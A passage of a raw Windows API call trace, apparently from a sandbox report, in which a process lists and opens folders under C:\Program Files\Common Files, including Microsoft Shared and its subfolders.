ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.394] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0046.394] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.394] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.394] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.394] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.394] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.394] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.394] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0046.394] GetLastError () returned 0x12 [0046.394] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d160 [0046.394] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0046.394] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.394] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0046.394] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0046.395] GetLastError () returned 0x12 [0046.395] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0046.395] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0046.395] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0046.395] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.395] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0046.395] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.395] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0046.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0046.395] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0046.395] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.395] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0046.395] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.395] NtClose (Handle=0x184) returned 0x0 [0046.395] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.395] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.395] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0046.395] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0046.395] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d160 [0046.395] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.395] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0046.396] GetLastError () returned 0x12 [0046.396] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0046.396] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.396] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0046.396] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.397] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0046.413] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0046.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.413] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0046.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.413] NtClose (Handle=0x184) returned 0x0 [0046.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c6b0 [0046.413] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0046.413] FindNextFileW (in: hFindFile=0x60d160, 